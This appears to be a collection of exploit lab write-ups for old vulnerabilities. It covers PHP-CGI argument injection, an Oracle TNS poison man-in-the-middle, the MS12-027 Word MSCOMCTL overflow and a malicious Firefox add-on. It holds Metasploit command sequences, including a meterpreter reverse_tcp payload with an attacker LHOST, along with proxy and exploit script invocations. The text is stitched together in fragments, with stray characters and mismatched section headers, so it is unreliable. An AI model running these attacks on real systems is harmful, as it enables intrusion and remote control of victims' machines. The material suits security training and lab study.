PHP versions before 5.3.12

Tested on CentOS release 6.2 (Final) with :

php-common and php-cli 5.3.3-3.el6_2.6 at Fri Feb 3 00:35:09 2012

Description :

When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: “if there is NO unescaped ‘=’ in the query string, the string is split on ‘+’ (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the “encoded in a system-defined manner” from the RFC) and then passes them to the CGI binary.”

Note : This vulnerability was potentially exploited in the wild for at least 8 years !

Commands :

use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.178.210
set TARGETURI /phpinfo.php
set PAYLOAD php/exec

)
)

Attacker characteristics :

IP : 192.168.178.100
Usage of PoC provided by Joxean Koret

Demonstration :

PoC validation phase

On database server :

ifconfig
ps faux
netstat -tan

On database client :

ifconfig
sqlplus -v
cat tnsnames.ora
sqlplus [email protected]
HELP
QUIT

PoC exploitation phase

On attacker :

Start the MITM proxy, how will intercept the communication between the client and the database :

sudo python proxy.py -l 192.168.178.100 -p 1521 -r 192.168.178.150 -P 1521

Start the vulnerability exploitation :

python tnspoisonv1.py 192.168.178.100 1521 arcsig 192.168.178.150 1521

On the database client :

Connect with SQL*Plus
sqlplus [email protected]
?
? INDEX
TOTO
QUIT

You can see that the communication are intercepted by the proxy.

Tested on Windows XP Pro SP3 with :

Microsoft Office Word 2007 (12.0.4518.104)

Description :

This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April 2012. This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses “msgr3en.dll”, which will load after office got load, so the malicious file must be loaded through “File / Open” to achieve exploitation.

Commands :

use exploit/windows/fileformat/ms12_027_mscomctl_bof
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.21.47

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp

PoC provided by :

mihi

Reference(s) :

None

Affected version(s) :

All versions of Mozilla Firefox

Tested on Windows XP Pro SP3 with :

Mozilla Firefox 11.0

Description :

This exploit dynamically creates a .xpi add-on file. The resulting bootstrapped Firefox add-on is presented to the victim via a web page with. The victim’s Firefox browser will pop a dialog asking if they trust the add-on. Once the user clicks “install”, the add-on is installed and executes the payload with full user permissions. As of Firefox 4, this will work without a restart as the add-on is marked to be “bootstrapped”. As the add-on will execute the payload after each Firefox restart, an option can be given to automatically uninstall the add-on once the payload has been executed.

Commands :

use exploit/multi/browser/firefox_xpi_bootstrapped_addon
set SRVHOST 192.168.178.100
